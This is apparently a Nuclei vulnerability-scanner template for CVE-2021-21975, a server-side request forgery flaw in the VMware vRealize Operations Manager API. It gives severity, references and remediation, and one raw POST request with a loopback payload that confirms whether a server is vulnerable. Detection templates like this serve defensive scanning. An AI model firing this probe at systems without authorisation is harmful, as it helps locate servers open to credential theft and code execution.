vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.
PoC代码[已公开]
id: CVE-2021-21975
info:
name: vRealize Operations Manager API - Server-Side Request Forgery
author: luci
severity: high
description: vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.
impact: |
Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
remediation: |
Apply the necessary security patches or updates provided by the vendor to mitigate this vulnerability.
reference:
- https://www.vmware.com/security/advisories/VMSA-2021-0004.html
- http://packetstormsecurity.com/files/162349/VMware-vRealize-Operations-Manager-Server-Side-Request-Forgery-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-21975
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-21975
cwe-id: CWE-918
epss-score: 0.94416
epss-percentile: 0.99977
cpe: cpe:2.3:a:vmware:cloud_foundation:3.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vmware
product: cloud_foundation
tags: cve2021,cve,kev,packetstorm,ssrf,vmware,vrealize
http:
- raw:
- |
POST /casa/nodes/thumbprints HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
["127.0.0.1:443/ui/"]
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'vRealize Operations Manager'
- 'thumbprint'
- 'address'
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502202ed385e558f2ab0a2b5f6ccc7aaf7cacdfcfdd8ee78b916c4f4a727d7d34048e02210096522e512c003253cb2f9e14bccede676c70ee7145d970f01f27b77e0f86474a:922c64590222798bb761d5b6d8e72950